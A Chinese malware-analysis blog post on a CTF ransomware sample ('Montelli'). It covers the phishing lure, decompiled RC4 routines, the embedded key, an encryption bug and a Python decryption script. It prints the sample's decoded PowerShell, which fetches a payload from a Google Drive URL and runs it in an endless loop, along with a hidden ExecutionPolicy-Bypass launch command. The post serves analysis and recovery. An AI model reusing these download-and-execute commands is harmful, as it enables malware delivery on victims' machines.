当前位置: 首页 > article >正文

【病毒分析】伪造微软官网+勒索加密+支付威胁,CTF中勒索病毒解密题目真实还原!

1.背景

该CTF挑战题目完整复现了黑客的攻击链路,攻击者通过伪造钓鱼页面引导受害者下载恶意软件。用户访问伪造的 Microsoft 365 官网后,在点击“Windows Installer (64-bit)”下载选项时,页面会自动跳转至伪造的 GitHub 项目链接,并下载加密器的恶意程序。

img

伪造Microsoft 365官网

受害者双击运行该程序后,勒索软件会访问远程服务器加载定制的hacked.png图片并当作壁纸,通过调用api遍历文件,判断文件后缀是否为.Montelli,加密完文件后创建一个被加了勒索后缀的文件,从而完成攻击链闭环。(目前该服务器已关停,无法访问该图片)

远程服务器:https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png

img

定制图片

在所有文件被添加.Montelli后缀后,会弹出的勒索提示信息告知受害者支付1337美元到黑客提供的Pi网络钱包地址 。

翻译:

噢,不!你的文件被劫持了!

亲爱的极其不幸的电脑用户,

我们很遗憾地通知你,你珍贵的文件被现存最复杂、训练有素、极其懒惰的勒索软件绑架了。但是不要害怕!你可以找回他们!

如何恢复它们?

不要害怕,我亲爱的用户,

你可以简单地在Pi网络中支付我们1337美元,我们已经为你提供了我们Pi网络钱包的地址,只要转账给我们1337,我们会给你发送你的解密密钥

发送1337$到此Pl网络地址,否则您的所有数据将被删除!!

img

2.恶意文件基础信息

2.1 加密器基本信息

文件名office64
编译器Microsoft Visual C/C++(19.36.34435)[LTCG/C++]
大小300 KB
操作系统Windows(Vista)[AMD64, 64位, Console]
架构386
模式64 位
类型EXEC
字节序LE
MD5b7da7b88697e543da7c734ff276b5fe2
SHA10f9429137d002162c3cf00df80ff352333a715da
SHA25609faaeeb52d5c0bdba222478e9787a5232bb88003ea42282bd7edc855a320de3

3.加密后文件分析

3.1威胁分析

病毒家族Montelli
首次出现时间/捕获分析时间2025/02/28 || 2025/03/7
威胁类型勒索软件,加密病毒
加密文件扩展名.Montelli
感染症状无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.Montelli)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。
感染方式受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接
受灾影响所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。

3.2 加密的测试文件

文件名

img

具体内容:

img

img

加密文件名特征:

加密文件名 = 原始文件名+Montelli,例如:sierting.txt.Montelli

加密算法:

文件加密使用rc4算法,密钥嵌入加密器中。

rc4密钥生成

KEY

FLAG{s1mpl3_3nCrYpt1on_

程序执行流程:

img

4.逆向分析

4.1加密器逆向分析

4.1.1RC4_KSA函数

根据rc4密钥初始化s数组

__int64 __fastcall sub_140002E70(unsigned __int64 a1, _QWORD *a2)
{char *v3; // rbp__int64 n256; // rsi__int64 v6; // rdxunsigned __int64 n0x100; // rcxchar *v8; // raxunsigned __int64 v9; // rbx__int64 v10; // rdx__m128i si128; // xmm3int n256_1; // ecx__int64 v13; // rdx__m128 v14; // xmm2unsigned int n8; // ecx__int64 n8_1; // r8unsigned int v17; // eax__m128i v18; // xmm0__m128i v19; // xmm1__m128i v20; // xmm0__m128i v21; // xmm1__m128i v22; // xmm0__m128i v23; // xmm0__m128i v24; // xmm0__m128i v25; // xmm1__m128i v26; // xmm1__int64 v27; // r8unsigned __int64 v28; // r9_QWORD *v29; // rcx__int64 v30; // r10int v31; // eaxchar v32; // cl__int64 v33; // rdx__int64 result; // raxv3 = *(char **)(a1 + 8);n256 = 256LL;v6 = *(_QWORD *)a1;n0x100 = (unsigned __int64)&v3[-*(_QWORD *)a1];if ( n0x100 <= 0x100 ){if ( n0x100 >= 0x100 )goto LABEL_8;if ( (unsigned __int64)(*(_QWORD *)(a1 + 16) - v6) < 0x100 ){sub_140008E60(a1);goto LABEL_8;}v9 = 256 - n0x100;memset(v3, 0, 256 - n0x100);v8 = &v3[v9];}else{v8 = (char *)(v6 + 256);}*(_QWORD *)(a1 + 8) = v8;
LABEL_8:v10 = *(_QWORD *)a1;si128 = _mm_load_si128((const __m128i *)&xmmword_14000D850);n256_1 = 0;if ( *(_QWORD *)a1 > a1 || *(_QWORD *)a1 + 255LL < a1 ){v14 = (__m128)_mm_load_si128((const __m128i *)&xmmword_14000D860);n8 = 8;n8_1 = 8LL;do{n8_1 += 16LL;v17 = n8 + 4;v18 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 8), 0), si128), v14);v19 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(n8 - 4), 0), si128), v14);v20 = _mm_packus_epi16(v18, v18);v21 = _mm_packus_epi16(v19, v19);*(_DWORD *)(v10 + n8_1 - 24) = _mm_cvtsi128_si32(_mm_packus_epi16(v20, v20));*(_DWORD *)(v10 + n8_1 - 20) = _mm_cvtsi128_si32(_mm_packus_epi16(v21, v21));v22 = _mm_cvtsi32_si128(n8);n8 += 16;v23 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(v22, 0), si128), v14);v24 = _mm_packus_epi16(v23, v23);v25 = (__m128i)_mm_and_ps((__m128)_mm_add_epi32(_mm_shuffle_epi32(_mm_cvtsi32_si128(v17), 0), si128), v14);*(_DWORD *)(n8_1 + v10 - 16) = _mm_cvtsi128_si32(_mm_packus_epi16(v24, v24));v26 = _mm_packus_epi16(v25, v25);*(_DWORD *)(v10 + n8_1 - 12) = _mm_cvtsi128_si32(_mm_packus_epi16(v26, v26));}while ( (int)(n8 - 8) < 256 );}else{v13 = 0LL;do*(_BYTE *)(++v13 + *(_QWORD *)a1 - 1) = n256_1++;while ( n256_1 < 256 );}*(_DWORD *)(a1 + 28) = 0;v27 = 0LL;v28 = 0LL;do{v29 = a2;if ( a2[3] > 0xFuLL )v29 = (_QWORD *)*a2;v30 = *(_QWORD *)a1;v31 = (*(_DWORD *)(a1 + 28) + *(unsigned __int8 *)(*(_QWORD *)a1 + v27) + *((unsigned __int8 *)v29 + v28 % a2[2]))% 256;*(_DWORD *)(a1 + 28) = v31;++v28;v32 = *(_BYTE *)(v30 + v27);v33 = v31;result = *(unsigned __int8 *)(v31 + v30);*(_BYTE *)(v30 + v27++) = result;*(_BYTE *)(v33 + v30) = v32;--n256;}while ( n256 );*(_QWORD *)(a1 + 24) = 0LL;return result;
}

4.1.2RC4加密函数

根据输入的s数组对输入的数据进行加密,由于加密完成后未对S盒进行重置操作,因此会导致如下问题

加密存在BUG

在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。

// Hidden C++ exception states: #wind=3
_QWORD *__fastcall sub_140003060(__int64 *a1, _QWORD *a2, char *a3)
{char *v3; // r14unsigned __int64 n0xF; // raxchar *v7; // rdichar *v8; // rcxchar *v9; // rbpchar v10; // r9int v11; // eax__int64 v12; // rdxunsigned __int8 *v13; // r8int v14; // eaxunsigned __int8 *v15; // rdxunsigned __int8 v16; // clchar v17; // r9unsigned __int64 n0xF_2; // rcxunsigned __int64 n0xF_1; // rdx_QWORD *v20; // raxv3 = a3;*(_OWORD *)a2 = 0LL;a2[2] = 0LL;a2[3] = 15LL;*(_BYTE *)a2 = 0;n0xF = *((_QWORD *)a3 + 2);if ( n0xF > 0xF ){sub_140007F10(a2);a2[2] = 0LL;n0xF = *((_QWORD *)v3 + 2);}if ( *((_QWORD *)v3 + 3) <= 0xFuLL ){v7 = v3;v8 = v3;}else{v7 = *(char **)v3;v8 = *(char **)v3;v3 = *(char **)v3;}v9 = &v8[n0xF];if ( v3 != &v8[n0xF] ){do{v10 = *v7;v11 = (*((_DWORD *)a1 + 6) + 1) % 256;*((_DWORD *)a1 + 6) = v11;v12 = *a1;v13 = (unsigned __int8 *)(*a1 + v11);v14 = (*((_DWORD *)a1 + 7) + *v13) % 256;*((_DWORD *)a1 + 7) = v14;v15 = (unsigned __int8 *)(v14 + v12);v16 = *v13;*v13 = *v15;*v15 = v16;v17 = *(_BYTE *)((unsigned __int8)(*(_BYTE *)(*((int *)a1 + 6) + *a1) + *(_BYTE *)(*((int *)a1 + 7) + *a1)) + *a1) ^ v10;n0xF_2 = a2[2];n0xF_1 = a2[3];if ( n0xF_2 >= n0xF_1 ){sub_140008190(a2, n0xF_1, *a1, v17);}else{a2[2] = n0xF_2 + 1;v20 = a2;if ( n0xF_1 > 0xF )v20 = (_QWORD *)*a2;*((_BYTE *)v20 + n0xF_2) = v17;*((_BYTE *)v20 + n0xF_2 + 1) = 0;}++v7;}while ( v7 != v9 );}return a2;
}

4.1.3壁纸替换函数

将自带的字符串解码后并执行

img

解码后结果如下,该代码的作用是在远程加载一个图片并当作壁纸

$imageUrl = "https://raw.githubusercontent.com/R4ven1elia/something/refs/heads/main/hacked.png"
\r\n
$desktopPath = [Environment]::GetFolderPath("Desktop")
\r\n
$outputFile = Join-Path -Path $desktopPath -ChildPath "hacked.png"
\r\n
Invoke-WebRequest -Uri $imageUrl -OutFile $outputFile
\r\n
Add-Type -TypeDefinition @"
\r\n
using System;
\r\n
using System.Runtime.InteropServices;
\r\n
public class Wallpaper {
\r\n
[DllImport("user32.dll", CharSet = CharSet.Auto)]
\r\n    
public static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
\r\n    
public const int SPI_SETDESKWALLPAPER = 0x0014;
\r\n    
public const int SPIF_UPDATEINIFILE = 0x01;
\r\n    
public const int SPIF_SENDCHANGE = 0x02;
\r\n
}
\r\n
"@
\r\n\r\n
[Wallpaper]::SystemParametersInfo([Wallpaper]::SPI_SETDESKWALLPAPER, 0, $outputFile, [Wallpaper]::SPIF_UPDATEINIFILE -bor [Wallpaper]::SPIF_SENDCHANGE)
\r\n\r\n
$executeURL = "https://drive.usercontent.google.com/download?id=15SxZaEWsqN64G-dGDWi5C31f94CpuuZc&export=download&confirm=t&uuid=b75378f6-8f6c-4166-a88d-75319d1472fa"
\r\n
$tempFilePath = "$env:TEMP\\run.exe"
\r\n
if (-Not (Test-Path $tempFilePath)) {
\r\n    
Invoke-WebRequest -Uri $executeURL -OutFile $tempFilePath
\r\n}
\r\n
\r\n
while ($true) {
\r\n    
# Start the process
\r\n    
$process = Start-Process -FilePath $tempFilePath -PassThru
\r\n    
\r\n    
# Wait for the process to exit
\r\n    
$process.WaitForExit()
\r\n    
\r\n    
# Optional delay before restarting
\r\n    
Start-Sleep -Seconds 0
\r\n}

将这个写入C:\\Users\\username\\dosomething.ps1

img

并执行如下poweshell指令,隐藏窗口执行上面的替换壁纸的代码

powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\\Users\\username\\dosomething.ps1

4.1.4文件遍历

调用api遍历文件

img

判断后缀是否为.Montelli

img

加密完文件后创建一个被加了勒索后缀的文件,然后写入加密内容

img

删除原文件

img

4.1.5多线程启动加密

使用多线程异步执行加密

img

5.恢复脚本制作

恢复思路如下:调用rc4算法使用密钥FLAG{s1mpl3_3nCrYpt1on_对加密文件解密。

但是由于该加密器加密存在bug:在创建多线程的部分,该勒索的所有多线程仅仅只处理了一次RC4的SBOX初始化部分,加密完毕后并未针对RC4的SBOX再次初始化,所以就导致了RC4加密后,SBOX的值发生改变,所以会影响后续加密。因此使用密钥解密只能解密出少数几个文件,恢复代码如下

class RC4:def __init__(self, key):"""初始化 RC4 状态"""self.S = list(range(256))  # 初始化 S 数组j = 0# 密钥调度算法 (KSA)for i in range(256):j = (j + self.S[i] + ord(key[i % len(key)])) % 256self.S[i], self.S[j] = self.S[j], self.S[i]  # 交换 S[i] 和 S[j]def decrypt(self, ciphertext):"""解密函数"""i = j = 0plaintext = []# 伪随机生成算法 (PRGA)for byte in ciphertext:i = (i + 1) % 256j = (j + self.S[i]) % 256self.S[i], self.S[j] = self.S[j], self.S[i]  # 交换 S[i] 和 S[j]k = self.S[(self.S[i] + self.S[j]) % 256]plaintext.append(byte ^ k)  # 异或操作return bytes(plaintext)def rc4_decrypt_file(input_file, output_file, key):"""解密文件"""# 读取加密文件with open(input_file, "rb") as f:ciphertext = f.read()# 初始化 RC4rc4 = RC4(key)# 解密数据plaintext = rc4.decrypt(ciphertext)# 写入解密后的文件with open(output_file, "wb") as f:f.write(plaintext)# 示例用法
key = "FLAG{s1mpl3_3nCrYpt1on_"
input_file = ""  # 加密文件路径
output_file = ""  # 解密文件路径
rc4_decrypt_file(input_file, output_file, key)
print(f"文件已解密,保存到 {output_file}")

6.病毒分析概览

本案例中,Montelli勒索软件因硬编码密钥暴露(FLAG{s1mpl3_3nCrYpt1on_)导致可以对被加密文件进行解密,但是由于RC4加密实现缺陷(S盒单次初始化+状态污染)导致加密漏洞,结合其只能解密小部分文件。

相关文章:

【病毒分析】伪造微软官网+勒索加密+支付威胁,CTF中勒索病毒解密题目真实还原!

1.背景 该CTF挑战题目完整复现了黑客的攻击链路&#xff0c;攻击者通过伪造钓鱼页面引导受害者下载恶意软件。用户访问伪造的 Microsoft 365 官网后&#xff0c;在点击“Windows Installer (64-bit)”下载选项时&#xff0c;页面会自动跳转至伪造的 GitHub 项目链接&#xff0…...

PDF Reader Pro for Mac v4.9.0 PDF编辑/批注/OCR/转换工具 支持M、Intel芯片

PDF Reader Pro 是一款用户必备的集管理、编辑、转换、阅读功能于一体的专业的全能PDF阅读专家。快速、易用、强大&#xff0c;让您出色完成 PDF 工作。 应用介绍 PDF Reader Pro&#xff0c;一款功能齐全且强大的PDF阅读和编辑软件。支持PDF阅读、批注、PDF编辑、PDF格式转换…...

神经网络中层与层之间的关联

目录 1. 层与层之间的核心关联&#xff1a;数据流动与参数传递 1.1 数据流动&#xff08;Forward Propagation&#xff09; 1.2 参数传递&#xff08;Backward Propagation&#xff09; 2. 常见层与层之间的关联模式 2.1 典型全连接网络&#xff08;如手写数字分类&#xf…...

PowerShell 美化 增强教程

PowerShell Windows Terminal 美化 & 增强教程 Windows Terminal PowerShell 默认外观和功能较为基础&#xff0c;但通过 Oh My Posh 及其他增强工具&#xff0c;你可以打造一个更美观、更高效的终端环境。本教程提供完整的安装、美化和优化步骤&#xff0c;包括常见问题…...

机械革命蛟龙16pro玩游戏闪屏

我查过原因&#xff0c;好像是AMD显卡对游戏用了可变刷新率就出bug了&#xff0c;可能是那个游戏不适合用可变刷新率技术。 解决办法&#xff1a; 1.桌面右键鼠标&#xff0c;出现如下标签&#xff0c;点击AMD Software&#xff1a;Adrenalin Edition 2.选择闪屏的游戏&#x…...

《AI赋能云原生区块链,引领供应链溯源革新》

在数字化浪潮席卷全球的当下&#xff0c;供应链管理领域正经历着深刻变革。云原生区块链凭借其去中心化、不可篡改等特性&#xff0c;为供应链溯源带来了前所未有的透明度与可靠性。而AI的融入&#xff0c;更如虎添翼&#xff0c;以强大的智能分析和决策能力&#xff0c;为云原…...

练习题:94

目录 Python题目 题目 题目分析 需求理解 关键知识点 实现思路分析 代码实现 代码解释 while 循环&#xff1a; 获取用户输入&#xff1a; 判断输入内容&#xff1a; 使用 break 语句&#xff1a; 处理非 "quit" 输入&#xff1a; 循环结束后的操作&am…...

实现图片多种处理需求的实用工具

在自媒体创作与日常办公时&#xff0c;图片处理常让人焦头烂额。今天就给大家介绍一款得力帮手——Fotosizer&#xff0c;它能帮你轻松批量处理图片&#xff0c;满足多样化需求。Fotosizer是一款功能强大的图片批量处理软件&#xff0c;无需安装&#xff0c;打开即用&#xff0…...

数据结构中的引用管理对象体系

数据结构中的引用管理对象体系 &#xff08;注&#xff1a;似复刻变量即实例对象&#xff09; 引用管理对象的&#xff0c;有引用就能管理到它所指向的对象&#xff0c;我们拿引用最终的目的就是管理那些我们需要管理的最终直接对象&#xff0c;引用也是对象&#xff0c;同时…...

Qwen2.5-VL 开源视觉大模型,模型体验、下载、推理、微调、部署实战

一、Qwen2.5-VL 简介 Qwen2.5-VL&#xff0c;Qwen 模型家族的旗舰视觉语言模型&#xff0c;比 Qwen2-VL 实现了巨大的飞跃。 欢迎访问 Qwen Chat &#xff08;Qwen Chat&#xff09;并选择 Qwen2.5-VL-72B-Instruct 进行体验。 1. 主要增强功能 1&#xff09;直观地理解事物&…...

qyqt5项目打包成应用程序后,adb命令无效

问题&#xff1a;在Pycharm中执行以下代码能正常输出版本信息&#xff0c;但是使用pyinstaller 打包成pkg之后&#xff0c;运行软件一直都输出不了信息 version_info os.popen(f"adb version").read()解决方案&#xff1a; 配置adb 路径 adb_path os.getenv(ADB_…...

关于Docker是否被淘汰虚拟机实现连接虚拟专用网络Ubuntu 22.04 LTS部署Harbor仓库全流程

1.今天的第一个主题&#xff1a; 第一个主题是关于Docker是否真的被K8S弃用&#xff0c;还是可以继续兼容&#xff0c;因为我们知道在去年的时候&#xff0c;由于不可控的原因&#xff0c;docker的所有国内镜像源都被Ban了&#xff0c;再加上K8S自从V1.20之后&#xff0c;宣布…...

深入解析 `SQL_SMALL_RESULT`:MySQL 的“小优化”大作用

深入解析 SQL_SMALL_RESULT&#xff1a;MySQL 的“小优化”大作用 在 MySQL 的查询优化工具箱中&#xff0c;SQL_SMALL_RESULT 是一个容易被忽略但可能带来小幅性能提升的关键字。它适用于特定场景&#xff0c;尤其是涉及 GROUP BY 或 DISTINCT 计算的小数据集查询。本文将深入…...

RG-S3760应用协议配置

RG-S3760应用协议配置 1. dhcp 服务配置 提问&#xff1a;如何在设备上开启dhcp 服务&#xff0c;让不同VLAN 下的电脑获得相应的IP 地址&#xff1f; 回答&#xff1a; 步骤一&#xff1a;配置VLAN 网关IP 地址&#xff0c;及将相关端口划入相应的VLAN 中 S3760#con t S…...

Vue3 界面设计插件 microi-pageengine 入门教程一

系列文章目录 一、Vue3空项目快速集成 microi-pageengine 插件 文章目录 系列文章目录一、前言二、排版布局2.1 功能导航区2.2 组件容器区2.3 属性面板区 三、数据来源配置3.1 json数据源3.2 html数据源 四、事件穿透五、数据保存持久化六、总结 一、前言 上一篇文章介绍了 v…...

OpenCV-Contrib常用扩展模块

‌一、高频使用模块‌ ‌aruco 模块‌ ‌功能‌&#xff1a;用于生成与检测二维码&#xff08;如 ArUco Marker、AprilTag&#xff09;&#xff0c;支持增强现实&#xff08;AR&#xff09;中的物体定位与姿态估计‌。‌典型应用‌&#xff1a;AR 应用中的场景锚定、机器人导航…...

诺视Micro-LED微显示芯片量产线投产 ——开启微显示技术新时代

2025年3月19日&#xff0c;诺视科技Micro-LED微显示芯片一期量产线正式投入生产。这一具有里程碑意义的时刻&#xff0c;标志着诺视科技在Micro-LED微显示领域实现了产业化的重大突破&#xff0c;不仅为自身发展奠定了坚实基础&#xff0c;同时也为全球微显示行业带来新的活力。…...

数据库:一文掌握 Oracle 的各种指令(Oracle指令备忘)

文章目录 入门SELECT 语句SELECT INTO 语句INSERT 语句DELETE 语句UPDATE 语句 SEQUENCESCREATE SEQUENCEALTER SEQUENCE从字符串生成查询字符串操作InstrReplaceSubstrTrim DDL SQL创建表添加列修改列删除列约束类型和代码显示约束选择参照约束对表设置约束表上的唯一索引添加…...

java并发编程 juc线程类介绍

Java并发编程实战&#xff1a;深度解析CountDownLatch、CyclicBarrier与Semaphore 引言&#xff1a;线程同步的艺术 在现代多核处理器架构下&#xff0c;高效的并发编程能力已成为Java开发者的必备技能。java.util.concurrent包中的CountDownLatch、CyclicBarrier和Semaphore…...

API接口自动化学习总结

视频&#xff1a;python 做 API接口测试 和 自动化 - 1周入门_哔哩哔哩_bilibili 资料&#xff1a;HTTP协议 - 白月黑羽 要学习接口自动化&#xff0c;先要知道http协议和requests库&#xff0c;后面则是接口手工测试和接口自动化测试。 HTTP协议&#xff1a; HTTP协议简介…...

Python中的字典:深度解析与应用实践

一、字典的本质与特性 Python字典&#xff08;Dictionary&#xff09;是以**键值对&#xff08;Key-Value Pair&#xff09;**形式存储数据的无序集合&#xff0c;使用大括号{}定义。其核心特性包括&#xff1a; 快速查找&#xff1a;基于哈希表实现&#xff0c;通过键&#…...

1. 环境准备

安装CentOS 7 配置网络 默认网络是NAT 端口转发 更改/etc/sysconfig/network-scripts/ifcfg-ens33 修改以下内容&#xff1a; BOOTPROTOstatic 启用静态IP地址 ONBOOTyes 开启自动启用网络连接 添加以下内容&#xff1a; IPADDR192.168.30.100 设置IP地址 NETMASK255.25…...

【链表】一文搞定链表算法:从基础到实战

提示&#xff1a;写完文章后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 前言例题一、两数相加二、两两交换链表中的节点三、重排链表四、合并K个升序链表五、 K个⼀组翻转链表 结语 前言 什么是链表算法&#xff1a; 链表算法&#xff0…...

瑞萨RA系列使用JLink RTT Viewer输出调试信息

引言 还在用UART调试程序么?试试JLINK的RTT Viewer吧!不需占用UART端口、低资源暂用、实时性高延时微秒级,这么好的工具还有什么理由不用了! 目录 一、JLink RTT Viewer 简介 二、软件安装 三、工程应用 3.1 SEGGER_RTT驱动包 3.2 手搓宏定义APP_PRINT 3.3 使用APP_…...

DEFI币生态重构加速,XBIT去中心化交易所引领DEX安全新范式

2025年3月18日&#xff0c;全球加密市场在监管与技术共振下迎来结构性变革。去中心化金融&#xff08;DeFi&#xff09;代币DEFI币因跨链流动性协议升级引发社区热议&#xff0c;而币应XBIT去中心化交易所&#xff08;以下简称XBIT&#xff09;凭借其链上透明验证机制、无需下载…...

高性能缓存:使用 Redis 和本地内存缓存实战示例

在现代高并发系统中&#xff0c;缓存技术是提升性能和降低数据库压力的关键手段。无论是分布式系统中的Redis缓存&#xff0c;还是本地高效的本地内存缓存&#xff0c;合理使用都能让你的应用如虎添翼。今天&#xff0c;我们将基于go-dev-frame/sponge/pkg/cache库的代码示例&a…...

Linux动态库和静态库

Linux动态库和静态库 Linux动态库和静态库动静态库的基本原理可执行程序的生成过程动静态库的本质 认识动静态库背后的库支持动静态库的命名静态链接示例 动静态库各自的特征静态库动态库 静态库的打包与使用示例文件打包1. 生成目标文件2. 打包静态库3. 组织文件使用 Makefile…...

13 IO流:字节流、字符流、缓冲流、文件复制(字节/字符/缓冲区)、字符转换流、打印流、IO框架(黑马Java视频笔记)

文章目录 IO流 >> 读写数据的方案1. 认识IO流1&#xff09;IO流的分类2&#xff09;IO流的体系 2. 文件字节输入流2.1 创建文件字节流对象2.2 读取文件1&#xff09;使用read()方法一个一个字节的读取2&#xff09;使用字节数组读取数据:byte[]3&#xff09;使用字节流读…...

深入理解 TypeScript 中的迭代器(Iterators)与生成器(Generators)

一、为什么需要迭代协议&#xff1f; 在现代 JavaScript/TypeScript 开发中&#xff0c;我们经常需要处理各种集合型数据&#xff1a;数组、Map、Set 甚至是自定义数据结构。ES6 引入的迭代协议&#xff08;Iteration Protocols&#xff09;正是为了解决统一遍历机制的问题。通…...

靶场(十四)---小白心得思路分享---Extplorer

启程&#xff1a; 开始扫描端口服务&#xff0c;发现什么都没有&#xff0c;果断进行下一步目录扫描 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 98:4e:5d:e1:e6:97:29:6f:…...